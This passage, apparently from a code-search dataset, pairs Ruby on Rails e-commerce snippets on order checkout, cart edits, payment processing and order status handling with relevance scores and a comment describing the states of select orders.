factura\n boleta = facturaParseada[\"_id\"]\n $idBoleta = boleta\n $iva = facturaParseada[\"iva\"]\n iva = $iva\n $montoBruto = facturaParseada[\"bruto\"]\n bruto = $montoBruto\n $total = facturaParseada[\"total\"]\n total = $total\n urlOk = 'http://integra1.ing.puc.cl/spree/orders/confirmarCompra/' + boleta\n urlFail = 'http://integra1.ing.puc.cl/cancelacion'\n url = 'http://integracion-2016-prod.herokuapp.com/web/pagoenlinea?callbackUrl='+urlOk+'&cancelUrl='+urlFail+'&boletaId=' + boleta\n redirect_to url\n #precio = NuestroProducto.find(aux).precio\n #moverA_Despacho boleta, direccion, quantity, sku, precio\n Ticket.create(idBoleta:boleta, direccion:direccion, sku:sku, cantidad:quantity, iva:iva, bruto:bruto, total:total)\n end\n end",
"def complete_order_step(order, order_step)\n original_state = order.state\n order.state = order_step\n\n if !order.next\n order.state = original_state\n order.save(validate: false) # store data from paypal. user will be redirect to 'personal' tab\n end\n end",
"def items\n load_selection\n import_selection or render_select\n end",
"def mark_as_complete(options)\n self.is_complete = options[:is_complete]\n self.is_applicable = true # if item.is_complete\n self.save_with_validation(false)\n end",
"def set_order\n @order = Order.includes(:orderitems).find_by_id(params[:id])\n @order.subscribe(Orderlog.new)\n end",
"def drop_item\n @order.order_items.find(params[:id]).destroy\n\n refresh\n end",
"def complete_customer_order\n \n # call the get_customer_order with product price sum\n customer_order_total = Order.new.get_customer_order(CustomersController.get_active_customer)\n \n if get_customer_order.length == 0\n puts \"You have no products on your order. Please press any key to return to the main menu\"\n \n # if no products in order print \"Please add some products to your order first. Press any key to return to main menu.\"\n else \n # display order total and \"continue with the order? y/n\"\n puts \"Ready to purchase? (Y/N)\"\n @add_payment_to_order = set_field \n \n # add_payment_to_order\n puts \"Please select a payment type:\"\n \n end\n end",
"def si_update_product_select_from_note_and_order\n o = params[:o] # receipt note\n p = params[:p] # purchase order\n if o != '0' && p != '0'\n # Receipt note\n @receipt_note = ReceiptNote.find(o)\n if @receipt_note.blank?\n @note_items = []\n else\n @note_items = note_items_dropdown(@receipt_note)\n end\n if @note_items.blank?\n @products = @receipt_note.blank? ? products_dropdown : @receipt_note.organization.products.order(:product_code)\n else\n @products = @receipt_note.products.group(:product_code)\n end\n # Purchase order\n @purchase_order = PurchaseOrder.find(p)\n if @purchase_order.blank?\n @order_items = []\n else\n @order_items = unbilled_order_items_dropdown(@purchase_order)\n end\n elsif o != '0'\n @receipt_note = ReceiptNote.find(o)\n if @receipt_note.blank?\n @note_items = []\n else\n @note_items = note_items_dropdown(@receipt_note)\n end\n if @note_items.blank?\n @products = @receipt_note.blank? ? products_dropdown : @receipt_note.organization.products.order(:product_code)\n else\n @products = @receipt_note.products.group(:product_code)\n end\n @order_items = []\n elsif p != '0'\n @purchase_order = PurchaseOrder.find(p)\n if @purchase_order.blank?\n @order_items = []\n else\n @order_items = unbilled_order_items_dropdown(@purchase_order)\n end\n if @order_items.blank?\n @products = @purchase_order.blank? ? products_dropdown : @purchase_order.organization.products.order(:product_code)\n else\n @products = @purchase_order.products.group(:product_code)\n end\n @note_items = []\n else\n @note_items = []\n @order_items = []\n @products = products_dropdown\n end\n # Receipt note items array\n @note_items_dropdown = @note_items.blank? ? [] : note_items_array(@note_items)\n # Purchase order items array\n @order_items_dropdown = @order_items.blank? ? [] : order_items_array(@order_items)\n # Products array\n @products_dropdown = @products.blank? ? [] : products_array(@products)\n # Setup JSON\n @json_data = { \"product\" => @products_dropdown, \"note_item\" => @note_items_dropdown, \"order_item\" => @order_items_dropdown }\n render json: @json_data\n end",
"def si_update_selects_from_note_and_order\n o = params[:o] # receipt note\n p = params[:p] # purchase order\n project_id = 0\n work_order_id = 0\n charge_account_id = 0\n store_id = 0\n payment_method_id = 0\n if o != '0' && p != '0'\n # Receipt note\n @receipt_note = ReceiptNote.find(o)\n if @receipt_note.blank?\n @note_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n else\n @note_items = note_items_dropdown(@receipt_note)\n @projects = @receipt_note.project.blank? ? [] : Project.where(id: @receipt_note.project.id)\n @work_orders = @receipt_note.work_order.blank? ? [] : WorkOrder.where(id: @receipt_note.work_order.id)\n @charge_accounts = @receipt_note.charge_account.blank? ? [] : ChargeAccount.where(id: @receipt_note.charge_account.id)\n @stores = @receipt_note.store\n @payment_methods = @receipt_note.payment_method\n end\n if @note_items.blank?\n @products = @receipt_note.blank? ? products_dropdown : @receipt_note.organization.products.order(:product_code)\n else\n @products = @receipt_note.products.group(:product_code)\n end\n project_id = @projects.first.id rescue 0\n work_order_id = @work_orders.first.id rescue 0\n charge_account_id = @charge_accounts.first.id rescue 0\n store_id = @stores.id rescue 0\n payment_method_id = @payment_methods.id rescue 0\n # Purchase order\n @purchase_order = PurchaseOrder.find(p)\n if @purchase_order.blank?\n @order_items = []\n else\n @order_items = unbilled_order_items_dropdown(@purchase_order)\n end\n elsif o != '0'\n @receipt_note = ReceiptNote.find(o)\n if @receipt_note.blank?\n @note_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n else\n @note_items = note_items_dropdown(@receipt_note)\n @projects = @receipt_note.project.blank? ? [] : Project.where(id: @receipt_note.project.id)\n @work_orders = @receipt_note.work_order.blank? ? [] : WorkOrder.where(id: @receipt_note.work_order.id)\n @charge_accounts = @receipt_note.charge_account.blank? ? [] : ChargeAccount.where(id: @receipt_note.charge_account.id)\n @stores = @receipt_note.store\n @payment_methods = @receipt_note.payment_method\n end\n if @note_items.blank?\n @products = @receipt_note.blank? ? products_dropdown : @receipt_note.organization.products.order(:product_code)\n else\n @products = @receipt_note.products.group(:product_code)\n end\n project_id = @projects.first.id rescue 0\n work_order_id = @work_orders.first.id rescue 0\n charge_account_id = @charge_accounts.first.id rescue 0\n store_id = @stores.id rescue 0\n payment_method_id = @payment_methods.id rescue 0\n elsif p != '0'\n @purchase_order = PurchaseOrder.find(p)\n if @purchase_order.blank?\n @order_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n else\n @order_items = unbilled_order_items_dropdown(@purchase_order)\n @projects = @purchase_order.project.blank? ? [] : Project.where(id: @purchase_order.project.id)\n @work_orders = @purchase_order.work_order.blank? ? [] : WorkOrder.where(id: @purchase_order.work_order.id)\n @charge_accounts = @purchase_order.charge_account.blank? ? [] : ChargeAccount.where(id: @purchase_order.charge_account.id)\n @stores = @purchase_order.store\n @payment_methods = @purchase_order.payment_method\n end\n if @order_items.blank?\n @products = @purchase_order.blank? ? products_dropdown : @purchase_order.organization.products.order(:product_code)\n else\n @products = @purchase_order.products.group(:product_code)\n end\n project_id = @projects.first.id rescue 0\n work_order_id = @work_orders.first.id rescue 0\n charge_account_id = @charge_accounts.first.id rescue 0\n store_id = @stores.id rescue 0\n payment_method_id = @payment_methods.id rescue 0\n else\n @note_items = []\n @order_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n @products = products_dropdown\n end\n # Work orders array\n @orders_dropdown = @work_orders.blank? ? [] : work_orders_array(@work_orders)\n # Receipt note items array\n @note_items_dropdown = @note_items.blank? ? [] : note_items_array(@note_items)\n # Purchase order items array\n @order_items_dropdown = @order_items.blank? ? [] : order_items_array(@order_items)\n # Products array\n @products_dropdown = @products.blank? ? [] : products_array(@products)\n # Setup JSON\n @json_data = { \"project\" => @projects, \"work_order\" => @orders_dropdown,\n \"charge_account\" => @charge_accounts, \"store\" => @stores,\n \"payment_method\" => @payment_methods, \"product\" => @products_dropdown,\n \"project_id\" => project_id, \"work_order_id\" => work_order_id,\n \"charge_account_id\" => charge_account_id, \"store_id\" => store_id,\n \"payment_method_id\" => payment_method_id,\n \"note_item\" => @note_items_dropdown, \"order_item\" => @order_items_dropdown }\n render json: @json_data\n end",
"def place_order\n @order = Order.new(order_params)\n @basket.line_items.map do |line_item|\n @order.line_items << line_item\n item.basket_id = nil\n\n dish = Dish.find(line_item.dish_id)\n dish.inventory -= line_item.quantity\n dish.save\n end\n @order.save\n @basket.destroy\n render Dish.all, status: :ok\n end",
"def update\n @order = current_order\n if @order.may_add?\n @order_item = @order.order_items.find(params[:id])\n @order_item.update_attributes(order_item_params)\n @order_items = @order.order_items\n end\n end",
"def set_order_item\n @order_item = current_user.order_items.find(params[:id])\n end",
"def after_complete\n #remove the order from the session\n session[:order_id] = nil\n\n #add the order access token to the session so user can see thank you window\n #and order status, all through the orders controller.\n session[:access_token] ||= @order.token\n\n # trigger the photo copy and preparation, this is done here because normal state machine transitions\n # happen in a transaction and could allow resque work to begin too soon. See comment in order_decorator.rb\n @order.prepare!\n\n if current_user\n # If a user is looged in, save addresses and creditcard as default\n # Backup order addresses with addresses that cannot be modified by user.\n # creditcards are non editable just erasable.\n #(no need to do this for guests)\n original_ship = @order.ship_address\n original_bill = @order.bill_address\n\n new_ship = Address.create( original_ship.attributes.except(\"id\", \"user_id\", \"updated_at\", \"created_at\"))\n @order.ship_address_id = new_ship.id\n if original_ship.id == original_bill.id\n @order.bill_address_id = new_ship.id\n else\n if original_ship.same_as?( original_bill )\n @order.bill_address.id = new_ship.id\n else\n @order.bill_address = Address.create( original_bill.attributes.except(\"id\", \"user_id\", \"updated_at\", \"created_at\"))\n end\n end\n @order.save\n\n # new creditcards should be saved in the user's wallet\n if @order.payment.source.user.nil?\n @order.payment.source.update_attributes!(\n :user_id => current_user.id\n )\n end\n\n #make addresses, creditcard user's default\n @order.user.update_attributes!(\n :bill_address_id => original_bill.id,\n :ship_address_id => original_ship.id,\n :creditcard_id => @order.payment.source.id\n )\n end\n end",
"def providers_sort_save\n params[:sortable_list].each_index do |i|\n item = SmsLcrprovider.find(:first, :conditions => [\"sms_provider_id = ? AND sms_lcr_id = ?\", params[:sortable_list][i], params[:id]])\n item.priority = i\n item.save\n end\n @page_title = _('Change_Order') + \": \" + @lcr.name\n @items = @lcr.sms_providers(\"asc\")\n render :layout => false, :action => :providers_sort\n end",
"def before_render\n select = get_select_query\n @model = @model.select(select) unless select.nil?\n @model = @model.order(@sort_before) unless @sort_before.blank?\n @model = @model.order(get_sort_query)\n @model = @model.order(@sort_after) unless @sort_after.blank?\n end",
"def commit()\n #This is a stub, used for indexing\n end",
"def edit_order(items, quantities, camp_id)\r\n\r\n #Deletes each order item from the table\r\n order_items.each do |order_item|\r\n order_item.destroy\r\n end\r\n\r\n #Saves the campaign ID of the order\r\n self.campaign_id = camp_id\r\n self.save\r\n\r\n #Saves the order_items for the current order\r\n items.each_with_index do |item,i|\r\n order_item = OrderItem.new do |u|\r\n u.order_id = id\r\n u.item_id = Item.find_by(name: item).id\r\n u.quantity = quantities[i].to_i\r\n end\r\n order_item.save\r\n end\r\n end",
"def create_complete_order(user, product, options={})\n returning(user.orders.create) do |order|\n order.line_items.push create_line_item(product.variants.first)\n order.save\n order.checkout.bill_address = Address.new({\n :firstname => \"First\",\n :lastname => \"Last\",\n :address1 => \"Address1\",\n :city => \"City\",\n :state_name => \"A State\",\n :zipcode => \"00000\",\n :country => Country.new,\n :phone => \"00000000\"\n })\n order.complete\n order.save!\n end\nend",
"def update_item\n self.item.update_complete\n end",
"def save_order\n @order = Order.new(params[:order]) \n @order.line_items << @cart.items \n if @order.save \n @cart.empty!\n redirect_to_index('Thank you for your order.')\n else\n render(:action => 'checkout') \n end\n end",
"def after_commit(&blk)\n ActiveRecord::Base.connection.add_transaction_record(\n AfterCommitWrapper.new(&blk)\n )\n end",
"def post_select(model, iter, mc)\n model.remove(iter.first_child)\n end",
"def populate\n @order = current_order(session)\n variant_id = params[:variant_id]\n \n new_line_item = Breeze::Commerce::LineItem.new(:variant_id => variant_id, :quantity => params[:quantity] || 1)\n existing_line_item = @order.line_items.unarchived.where(:variant_id => variant_id).first \n if existing_line_item\n existing_line_item.quantity += new_line_item.quantity\n existing_line_item.save\n else\n @order.line_items << new_line_item\n end\n\n @order.save\n end",
"def save_items\n self.items.each { |c| if c.destroy_association? then c.destroy else c.save end }\n self.added_items.each { |c| c.save unless c.nil? } unless self.added_items.nil?\n end",
"def si_update_order_select_from_supplier\n supplier = params[:supplier]\n if supplier != '0'\n @supplier = Supplier.find(supplier)\n @purchase_orders = @supplier.blank? ? unbilled_and_undelivered_purchase_orders_dropdown : unbilled_and_undelivered_purchase_orders_dropdown_by_supplier(@supplier)\n else\n @purchase_orders = unbilled_and_undelivered_purchase_orders_dropdown\n end\n # Orders array\n @purchase_orders_dropdown = purchase_orders_array(@purchase_orders)\n # Setup JSON\n @json_data = { \"order\" => @purchase_orders_dropdown }\n render json: @json_data\n end",
"def commit_orders\r\n orders = @customer.open_orders.find_all_by_synchronized( false )\r\n sales_id = \"\"\r\n orders.each do |o| sales_id += \"'#{o.sales_id}', \" end \r\n @store_user.my_account_log(@customer,\"Commit Sales Order Updates: #{sales_id}\")\r\n\r\n if orders.empty? || ERP::SalesOrder.commit_orders( orders )\r\n flash.now[:message] = \"All changes have been commited.\"\r\n else\r\n flash.now[:message] = \"Operation Failed.\"\r\n end\r\n end",
"def list\n order_items\n end",
"def on_item_ok2; item_ok(@item_window2, @trade_win2, @tb_unit2); end",
"def manage_items\n end",
"def after_build\n end",
"def orders\n super.complete.order('completed_at DESC, id DESC')\n end",
"def void_last_transaction\n#save add item to last transaction\n#take total and items list, and remove last transaction\n self.total -= self.last_transaction\n @title.pop\n end",
"def on_item_ok; item_ok(@item_window, @trade_win1, @tb_unit); end",
"def update\n @ordered.each do |ord|\n #уничтожаем все объекты из таблице многие ко многим, чтобы обновление было корректно\n if @order.id==ord.order_id\n Ordered.find(ord.id).destroy\n end\n end\n respond_to do |format|\n if @order.update(order_params_update)\n format.html { redirect_to @order, notice: 'Информация о заказе была успешно обновлена.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_order\n update_positions params[:sorted_ids]\n render nothing: true\n end",
"def within_transaction; end",
"def within_transaction; end",
"def set_final_order\n @final_order = FinalOrder.find(params[:id])\n end",
"def set_item\n @item = @order.order_items\n .where(product_id: params[:product_id])\n .first_or_initialize(order_id: @order.id)\n end",
"def set_ordered\n @ordered = Ordered.find(params[:id])\n end",
"def finalize!\n update_attribute(:completed_at, Time.now)\n update_attribute(:payment_method_name, self.payment_method.name) unless self.payment_method_name\n self.out_of_stock_items = InventoryUnit.assign_opening_inventory(self)\n # lock any optional adjustments (coupon promotions, etc.)\n adjustments.optional.each { |adjustment| adjustment.update_attribute(\"locked\", true) }\n\n self.state_events.create({\n :previous_state => \"cart\",\n :next_state => \"complete\",\n :name => \"order\" ,\n :user_id => (User.respond_to?(:current) && User.current.try(:id)) || self.user_id\n })\n end"
] |
[
"0.68916315",
"0.6207488",
"0.6107448",
"0.6089352",
"0.57639647",
"0.57325953",
"0.5728954",
"0.5722527",
"0.57132155",
"0.57109857",
"0.5655272",
"0.56108665",
"0.5586067",
"0.5586067",
"0.5586067",
"0.55751884",
"0.54956627",
"0.54577905",
"0.54133826",
"0.53538",
"0.5351884",
"0.5345638",
"0.5338212",
"0.53218913",
"0.53130215",
"0.53130215",
"0.5297867",
"0.52890897",
"0.5272076",
"0.52617455",
"0.52550864",
"0.5252696",
"0.5249156",
"0.5229669",
"0.5225038",
"0.5220952",
"0.51960146",
"0.5180358",
"0.51763946",
"0.517284",
"0.5171994",
"0.5163945",
"0.51629245",
"0.51613325",
"0.51613325",
"0.51613325",
"0.51613325",
"0.5156692",
"0.5151042",
"0.51497394",
"0.514967",
"0.51457775",
"0.51435846",
"0.5143289",
"0.5134651",
"0.51084626",
"0.50963837",
"0.50961095",
"0.50915176",
"0.5090129",
"0.5088003",
"0.5083813",
"0.5077954",
"0.50693965",
"0.506439",
"0.50605017",
"0.50477785",
"0.50425625",
"0.5027795",
"0.5021642",
"0.50031614",
"0.5002172",
"0.50017047",
"0.49961886",
"0.49887827",
"0.49826425",
"0.49823633",
"0.49820587",
"0.4972016",
"0.4970768",
"0.49692538",
"0.49672115",
"0.49649927",
"0.49614623",
"0.49528673",
"0.49478838",
"0.49477947",
"0.49459782",
"0.49446633",
"0.49432153",
"0.49425137",
"0.49388728",
"0.49291503",
"0.49262032",
"0.49255043",
"0.49228337",
"0.49228337",
"0.4919513",
"0.4909236",
"0.48996884",
"0.4893228"
] |
0.0
|
-1
|
Notes on status values for select orders: cart : In the cart can be freely edited by user (select/userfacing engine) or by admin user (snappea). checkout : On the checkout page. The user (select engine) has gone to the checkout page but has not placed the order. checkout_complete : Checkout completed, payment has been authorized by Braintree (select engine). canceled : Canceled by user (select engine) or admin user (snappea) pending : Select event is closed: No new orders allowed; No edits to existing orders; Manifests have been generated; All select orders in :checkout_complete are switched to :pending completed : "Food is delivered" email has been sent. Submit all authorized transactions for settlement system_canceled : Order is canceled by cron job All select orders for this event in :cart or :checkout state are cleanedup on endofday cron job.
|
def editing?
if Time.now > self.select_event.ordering_window_end_time
# Cutoff time has passed
false
elsif self.edit_mode
# SnapPea user is editing this select order
true
else
# Default => not editing since the edit_mode field isn't set
false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def checkout\n @order = current_order\n @order.order_status_id = 2\n if @order.update_attributes(order_params)\n\n if @order.agreement\n @payment = PaymentChoice.find(@order.payment_choice_id)\n\n if @payment.name == \"Braintree\"\n @order.order_status_id = 6\n @order.save\n create_braintree_payment @order.total, @order, params[\"payment_method_nonce\"]\n\n elsif @payment.name == \"Stripe\"\n @order.order_status_id = 6\n @order.save\n create_stripe_payment params[:stripeEmail], params[:stripeToken], @order.total, @order\n\n else\n @order.decrease_inventory\n @order.placed_on = DateTime.now\n @order.save\n session.delete :order_id\n OrderMailer.confirmation_mail(@order).deliver_later\n @token = DownloadToken.create(:expires_at => Time.now + 24.hours)\n flash[:success] = \"Order placed successfully\"\n if current_user\n redirect_to confirm_order_path(@order, :token => @token.token)\n else\n redirect_to thanks_path :token => @token.token\n end\n end\n\n else\n flash[:danger] = \"Sorry, your order could not be completed\"\n redirect_to cart_path\n end\n\n else\n flash[:danger] = \"Sorry, your order could not be completed\"\n redirect_to cart_path\n end\n end",
"def display_order_status(order)\n values = order.add_to_hash({})\n\n user = User.with_id(order.order_user_id)\n if user\n user.add_to_hash(values)\n else\n error \"Unknown user\"\n find_common\n end\n\n pays_list = PaysPayment.list_for_order(order)\n unless pays_list.empty?\n values['pays_list'] = pays_list.map do |p| \n res = {\n 'payment_url' => @context.url(PaymentStatus, :display_from_id, p.pys_pay_id)\n }\n p.add_to_hash(res)\n end\n end\n\n values['print_statement'] = url(:print_statement, order.order_id)\n\n standard_page(\"Order Status\", values, ORDER_STATUS)\n end",
"def order_status\n unless order.draft?\n errors.add(:order_status, 'An line_item can only be edited while in the DRAFT status')\n end\n end",
"def status_options\n [\n {label: 'To-do', value: 'todo'},\n {label: 'In Progress', value: 'inprogress'},\n {label: 'To Verify', value: 'toverify'},\n {label: 'Done', value: 'done'}\n ]\n end",
"def orderStates\n @states = Hash.new\n @states[0] = \"Processing\"\n @states[1] = \"Shipped\"\n @states[2] = \"Delivered\"\n @states[3] = \"Cancelled\"\n end",
"def order_status_changed(order)\n @order_callbacks.each do |c|\n c.call(order)\n end\n end",
"def determine_state(order)\n return 'pending' if self.inventory_units.any? { |unit| unit.backordered? }\n return 'shipped' if state == 'shipped'\n return 'delivered' if state == 'delivered'\n # Original, that resulted in emails being delivered several times:\n # order.payment_state == 'balance_due' ? 'pending' : 'ready'\n # Updated version that should prevent that from happening:\n order.payment_state == 'balance_due' ? 'pending' : 'ready'\n \n end",
"def order_status(order_status)\n stat_name = ''\n if order_status == 'deliver'\n stat_name = 'Entregada'\n elsif order_status == 'in_route'\n stat_name = 'Reparto'\n elsif order_status == 'rejected'\n stat_name = 'Rechazada'\n elsif order_status == 'pending'\n stat_name = 'Pendiente'\n elsif order_status.nil?\n stat_name = 'No tiene estado'\n end\n stat_name\n end",
"def completed\n\n #@order = current_order\n \n posted_xml = params[:ROMANCARTXML]\n\n # Remove XHTML character encoding (hopefully won't need to do this when we receive XML message from RomanCart!)\n xml = posted_xml.sub(\"<?xml version='1.0' encoding='UTF-8'?>\", \"\")\n \n xml_doc = Nokogiri::XML(xml) \n \n total_price = xml_doc.xpath(\"/romancart-transaction-data/sales-record-fields/total-price\").first.content\n orders = Spree::Order.where(\"state = ? AND total = ?\", \"cart\",total_price)\n Rails.logger.info \"#{orders.count} orders in 'cart' state with a price of #{total_price}\"\n \n if orders.count == 0\n # 5/3/14 DH: Testing ROMANCARTXML feedback locally so price is something...\n orders = Spree::Order.where(\"state = ? AND total > ?\", \"cart\",\"0.00\")\n end\n\n @order = orders.last\n \n # 6/3/14 DH: Since CSRF checking is removed for ROMANCARTXML feedback then need to check 'storeid' + items match\n if @order and feedbackValid(xml_doc,@order)\n Rails.logger.info \"Order number selected: #{@order.number}\"\n \n @order.email = xml_doc.xpath(\"/romancart-transaction-data/sales-record-fields/email\").first.content\n \n @order.user_id = xml_doc.xpath(\"/romancart-transaction-data/orderid\").first.content\n \n @order.number = xml_doc.xpath(\"/romancart-transaction-data/orderid\").first.content\n #Rails.logger.info \"Keeping Spree Order number rather than taking RomanCart one\"\n \n #flash[:message] = \"Order number taken from current time!\"\n #@order.number = Time.now.to_i.to_s\n \n # ----------------------- Billing Address -------------------------------\n @order.bill_address = romancartAddress(xml_doc)\n # ----------------------- Delivery Address ------------------------------ \n #<delivery-address1/>\n if xml_doc.xpath(\"/romancart-transaction-data/sales-record-fields/delivery-address1\").first.content.empty?\n @order.use_billing = true\n else\n @order.ship_address = romancartAddress(xml_doc, \"delivery-\")\n end\n \n # Spree StateMachine = 1)cart -> 2)address -> 3)delivery -> 4)payment -> 5)confirm -> 6)complete\n\n # If the order is just for samples then it'll be free so no payment is required\n if @order.item_total == 0\n \n while @order.state != \"complete\"\n @order.next!\n end\n \n else\n \n while @order.state != \"payment\"\n @order.next!\n Rails.logger.info \"Order number '#{@order.number}' is in state:#{@order.state}\" \n end\n \n #if xml_doc.xpath(\"/romancart-transaction-data/paid-flag\").first.content.eql?(\"True\")\n if xml_doc.xpath(\"/romancart-transaction-data/paid-flag\").first.content.eql?(\"False\")\n Rails.logger.info \"Testing ROMANCARTXML feedback using cheque payment so '<paid-flag>False</paid-flag>'\"\n\n unless @order.payments.exists?\n # 5/3/14 DH: Previously this worked for 'spree-2.0.4' but the payments system was changed in 'spree-2.1'\n #@order.payments.create!(:amount => @order.total)\n #@order.payments.last.payment_method = Spree::PaymentMethod.find_by_name(\"RomanCart\")\n #@order.payments.last.complete\n\t \n # 5/3/14 DH: Taken this from 'spree/2-1-stable/api/app/models/spree/order_decorator.rb' \n payment = @order.payments.build\n payment.amount = @order.total\n payment.complete\n payment.payment_method = Spree::PaymentMethod.find_by_name(\"RomanCart\")\n payment.save!\n\t \n if @order.payments.last.payment_method\n Rails.logger.info \"Creating #{@order.payments.last.payment_method.name} payment of #{@order.total}\"\n else\n Rails.logger.info \"RomanCart payment method not found!\"\n end\n end\n \n \n @order.payment_total = @order.total\n\n # To 6 - Complete\n #@order.payment_state = \"paid\"\n updater = Spree::OrderUpdater.new(@order)\n updater.update_payment_state\n \n @order.state = \"complete\"\n @order.completed_at = Time.now\n @order.save!\n Rails.logger.info \"Order number '#{@order.number}' is in state:#{@order.state}\"\n end\n end\n\n else # No current order (prob because of the CSRF error preventing Devise access the current order session)\n Rails.logger.info \"Well that's what Devise does since there's no CSRF authenticy...doh!\"\n end\n\n end",
"def validate_order_approval\n units_beings_prepared = self.has_units_being_prepared\n if not units_beings_prepared.empty?\n errors[:order_status] << \"cannot be set to approved because units #{units_beings_prepared.map(&:id).join(', ')} are neither approved nor canceled\"\n end\n end",
"def determine_order_status\n # Be sure to downcase status\n case third_party_order_status.downcase\n when 'paid', 'open', 'payment processing', 'processing', 'unpaid', 'unshipped'\n 'THIRD_PARTY_PENDING'\n when 'canceled'\n 'THIRD_PARTY_CANCELED'\n when 'completed'\n paid? == true ? 'COMPLETED' : 'THIRD_PARTY_PENDING_PAYMENT'\n else\n ExceptionNotifier.notify_exception(StandardError.new, data: { message: \"Unknown order status from Etsy: #{third_party_order_status}\" })\n \"UNKNOWN_STATUS: #{third_party_order_status}\"\n end\n end",
"def update_order_state\n if self.status_changed?\n self.order.update_attributes(:state => self.status)\n end\n end",
"def si_update_selects_from_order\n o = params[:o]\n project_id = 0\n work_order_id = 0\n charge_account_id = 0\n store_id = 0\n payment_method_id = 0\n if o != '0'\n @purchase_order = PurchaseOrder.find(o)\n if @purchase_order.blank?\n @order_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n else\n @order_items = unbilled_order_items_dropdown(@purchase_order)\n @projects = @purchase_order.project.blank? ? [] : Project.where(id: @purchase_order.project.id)\n @work_orders = @purchase_order.work_order.blank? ? [] : WorkOrder.where(id: @purchase_order.work_order.id)\n @charge_accounts = @purchase_order.charge_account.blank? ? [] : ChargeAccount.where(id: @purchase_order.charge_account.id)\n @stores = @purchase_order.store\n @payment_methods = @purchase_order.payment_method\n end\n if @order_items.blank?\n @products = @purchase_order.blank? ? products_dropdown : @purchase_order.organization.products.order(:product_code)\n else\n @products = @purchase_order.products.group(:product_code)\n end\n project_id = @projects.first.id rescue 0\n work_order_id = @work_orders.first.id rescue 0\n charge_account_id = @charge_accounts.first.id rescue 0\n store_id = @stores.id rescue 0\n payment_method_id = @payment_methods.id rescue 0\n else\n @order_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n @products = products_dropdown\n end\n # Work orders array\n @orders_dropdown = @work_orders.blank? ? [] : work_orders_array(@work_orders)\n # Purchase order items array\n @order_items_dropdown = order_items_array(@order_items)\n # Products array\n @products_dropdown = products_array(@products)\n # Setup JSON\n @json_data = { \"project\" => @projects, \"work_order\" => @orders_dropdown,\n \"charge_account\" => @charge_accounts, \"store\" => @stores,\n \"payment_method\" => @payment_methods, \"product\" => @products_dropdown,\n \"project_id\" => project_id, \"work_order_id\" => work_order_id,\n \"charge_account_id\" => charge_account_id, \"store_id\" => store_id,\n \"payment_method_id\" => payment_method_id, \"note_item\" => @order_items_dropdown }\n render json: @json_data\n end",
"def update_order_status(order, status)\n id = order.is_a?(String) ? order : order.id\n path = \"/checkout/orders/#{id}\"\n\n response = execute_request(path, {status: status})\n order.status = status unless order.is_a?(String)\n\n response\n end",
"def order_state(order)\n state = order.state.present? ? order.state : 'pending'\n t(\"order_states.#{state}\")\n end",
"def change_order_status_on_qsm(mp)\n orders = Spree::Order.where(\"market_place_id=? AND fulflmnt_state IN (?)\", mp.id, ['rfp', 'picked_up'])\n orders.each do |order|\n smp = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=?\", order.seller.id, mp.id) rescue nil\n if smp.present?\n uri = URI(mp.domain_url+'/ShippingBasicService.api/SetSendingInfo')\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data({'key'=>smp.first.api_secret_key,'OrderNo'=>order.market_place_order_no,'ShippingCorp'=>'Fulfillment By Anchanto','TrackingNo'=>order.fulflmnt_tracking_no})\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|http.request(req)end\n end\n return res && res.code == \"200\" ? \"success\" : \"failed\"\n end\n end",
"def determine_state(order)\n\n return 'canceled' if order.canceled?\n return 'pending' unless order.can_ship?\n\n return 'shipped' if shipped?\n\n end",
"def orderStatusEdit()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n o = Order.find(params[:id])\n status = o.update(order_status: params[:status])\n render json: {status: status, data: \"\", reason: ''}\n end",
"def check_order_status(id)\n @order = Order.find_by_id(id)\n\n incomplete = 0\n @order.order_items.each do |item|\n if item.ship_status == false\n incomplete += 1\n end\n end\n\n if incomplete == 0\n @order.status = 'complete'\n @order.save\n else\n @order.status = 'paid'\n @order.save\n end\n return @order\n end",
"def order_status(id)\n authenticated_post(\"order/status\", params: {order_id: id.to_i}).body\n end",
"def change_order_status_on_lazada(mp)\n @res = []\n orders = Spree::Order.where(\"market_place_id=? AND fulflmnt_state IN (?) AND market_place_order_status IN (?)\", mp.id, ['packup', 'completed', 'assign_for_repicking', 'delivery', 'assign_for_packup', \"picked_delivery\", \"dispatch_queue\", \"no_show\"], ['pending'])\n orders.each do |order|\n smp = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=?\", order.seller.id, mp.id) rescue nil\n if smp.present?\n @res << ApiJob.order_state_to_rts_lazada(order.id)\n end\n return @res.present? ? @res.join(\"; \") : \"Success\"\n end\n end",
"def statuses\n return ['canceled', 'completed'] if self.status == 'paid'\n return ['canceled', 'paid'] if self.status == 'ordered'\n end",
